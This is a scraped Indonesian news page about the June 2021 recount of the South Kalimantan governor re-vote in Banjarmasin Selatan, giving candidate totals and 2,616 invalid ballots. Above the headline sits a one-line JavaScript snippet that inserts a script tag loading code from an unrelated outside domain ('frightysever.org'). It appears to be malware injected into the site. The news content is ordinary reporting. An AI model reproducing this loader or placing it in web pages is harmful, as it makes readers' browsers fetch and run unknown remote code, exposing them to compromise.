(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Rekapitulasi Hasil PSU Pilgub di Banjarmasin Selatan Selesai, Ada 2.616 Suara Tidak Sah


KANALAKALIMANTAN.COM, BANJARMASIN –  Proses rekapitulasi hasil perhitungan surat suara Pemungutan Suara Ulang (PSU) Pilgub Kalsel di Kecamatan Banjarmasin Selatan, Kota Banjarmasin, selesai dilakukan, Minggu (13/6/2021) malam.

Karena sudah selesai, logistik PSU pun langsung dibawa menuju gudang KPU Kota Banjarmasin. Seluruh logistik itu diangkut menggunakan sebuah truk, dari kantor Kecamatan Banjarmasin Selatan dengan pengawalan aparat kepolisian.

“Kotak dan surat suara yang sudah direkapitulasi kami bawa ke gudang KPU Banjarmasin. Di sana nanti logistik dijaga ketat,” ujar Ketua KPU Kota Banjarmasin, Rahmiati Wahdah.

Proses rekapitulasi perhitungan surat suara dari 301 Tempat Pemungutan Suara (TPS) yang tersebar pada 12 kelurahan itu, dilakukan selama tiga hari 11-13 Juni 2021.

 

Baca juga: Razia Premanisme di Amuntai, Polisi Tangkap Tiga Orang

Hasilnya, pasangan calon nomor urut 1 H Sahbirin-H Muhidin memperoleh suara sah sebanyak 47.030 suara. Sementara pasangan calon H Denny-H Difri memperoleh suara sah sebanyak 23.806 suara.

Dari hasil rekapitulasi PSU di Kecamatan Banjarmasin Selatan didapati surat suara tidak sah sebanyak 2.616 suara. Sehingga total suara sah dan suara tidak sah berjumlah 73.452 suara.

Semua hasil tersebut tercantum dalam berita acara dan sertifikat rekapitulasi hasil perhitungan suara, di tingkat kecamatan dari seluruh TPS dalam PSU Pilgub Kalsel.

Baca juga: Dengar Tangis dari Semak Belukar, Temuan Bayi Laki-laki di Buntok Ada yang Siap Adopsi

“Berita acara dan sertifikat rekapitulasi ditandatangani oleh seluruh panitia pemilihan kecamatan, dan termasuk saksi paslon nomor urut 1,” kata Rahmiati Wahdah.

Sementara saksi paslon nomor urut 2 tidak ikut mendatangani berita acara dan sertifikat rekapitulasi tersebut.

Ketua KPU Kota Banjarmasin menambahkan, terkait jadwal proses rekapitulasi tingkat kota akan dilaksanakan antara 13 hingga 17 Juni 2021.

“Kemungkinan antara tanggal 15 atau 16 Juni pleno tingkat kota, tapi kami belum bisa menentukan lagi kapan. Intinya menyelesaikan pleno tingkat kecamatan dulu,” pungkas Rahmi. (kanalkalimantan.com/tius)

Reporter: tius
Editor: bie

 

 


Al Ghifari

Recent Posts

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

7 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

8 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

9 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

14 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

17 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

17 jam ago